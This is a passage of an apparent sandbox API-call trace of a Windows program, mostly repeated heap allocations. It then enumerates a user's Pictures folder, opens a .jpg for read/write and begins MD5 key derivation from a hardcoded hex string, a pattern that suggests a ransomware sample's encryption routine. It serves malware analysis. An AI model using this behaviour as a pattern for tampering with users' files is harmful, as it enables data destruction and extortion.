Size=0x820) returned 0x3109120 [0272.000] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0272.000] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.000] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.000] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.000] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.000] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.000] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.000] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.000] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.000] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.000] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.000] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.000] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.000] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.001] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.001] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.001] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.001] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.001] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.001] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.001] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.001] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.001] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.001] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.001] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.001] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.001] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.001] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.001] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.001] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.001] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.001] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.001] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.001] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.001] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.001] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.001] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.001] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.002] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.002] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.002] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.002] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.002] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.002] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.002] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.002] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.002] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.002] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.002] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.002] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.002] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.002] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.002] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.002] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.002] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.002] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.002] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.002] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.002] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.002] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.002] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.003] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.003] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.003] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.003] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.003] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.003] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.003] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.003] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.003] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.003] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.003] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.003] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.005] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.005] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.005] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.005] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.005] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.005] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.005] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.005] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.005] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.005] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.005] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.005] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.005] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.005] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.005] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.005] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.005] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.005] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.005] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.005] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.005] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.005] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.005] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.005] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.005] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.006] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.006] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.006] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.006] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.006] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.006] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.006] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.006] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.006] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.006] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.006] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.006] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.006] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.006] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.006] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.006] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.006] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.006] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.006] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.006] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.006] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.006] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.006] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.006] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.007] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.007] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.007] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.007] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.007] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.007] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.007] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.007] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.007] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.007] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.007] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.007] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.007] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.007] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.007] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.007] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.007] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.007] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.007] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.007] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.007] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.007] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.007] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.007] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.008] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\") returned="bpyHeQcsI\\" [0272.008] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0272.008] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0272.008] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.008] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\") returned="kQOrnOQ\\" [0272.008] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0272.008] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0272.008] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0272.008] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0272.008] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2f48 | out: hHeap=0x640000) returned 1 [0272.008] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0272.008] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0272.008] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0272.008] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0272.008] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081960 | out: hHeap=0x640000) returned 1 [0272.008] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0272.008] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0272.008] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0272.008] PathFindFileNameW (pszPath="") returned="" [0272.008] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.008] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf122aac0, ftCreationTime.dwHighDateTime=0x1d4c8af, ftLastAccessTime.dwLowDateTime=0x9d63a3f0, ftLastAccessTime.dwHighDateTime=0x1d4ca7e, ftLastWriteTime.dwLowDateTime=0x9d63a3f0, ftLastWriteTime.dwHighDateTime=0x1d4ca7e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0272.012] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.012] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf122aac0, ftCreationTime.dwHighDateTime=0x1d4c8af, ftLastAccessTime.dwLowDateTime=0x9d63a3f0, ftLastAccessTime.dwHighDateTime=0x1d4ca7e, ftLastWriteTime.dwLowDateTime=0x9d63a3f0, ftLastWriteTime.dwHighDateTime=0x1d4ca7e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.012] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5edc810, ftCreationTime.dwHighDateTime=0x1d4cec2, ftLastAccessTime.dwLowDateTime=0xc464f0f0, ftLastAccessTime.dwHighDateTime=0x1d4d260, ftLastWriteTime.dwLowDateTime=0xc464f0f0, ftLastWriteTime.dwHighDateTime=0x1d4d260, nFileSizeHigh=0x0, nFileSizeLow=0x740, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0 hjFn64gP.jpg", cAlternateFileName="0HJFN6~1.JPG")) returned 1 [0272.012] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.012] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xbe) returned 0x307faa8 [0272.012] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\0 hjFn64gP.jpg") returned=".jpg" [0272.012] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\0 hjFn64gP.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\0 hjfn64gp.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0272.012] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=1856) returned 1 [0272.013] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0272.015] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x71a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.015] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0272.023] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0272.024] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0272.024] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0272.024] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x740, lpOverlapped=0x0) returned 1 [0272.024] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.024] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0272.024] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.024] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.024] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5390) returned 1 [0272.025] CryptCreateHash (in: hProv=0x2fa5390, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0272.025] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0272.025] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0272.025] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0272.025] CryptGetHashParam (in: 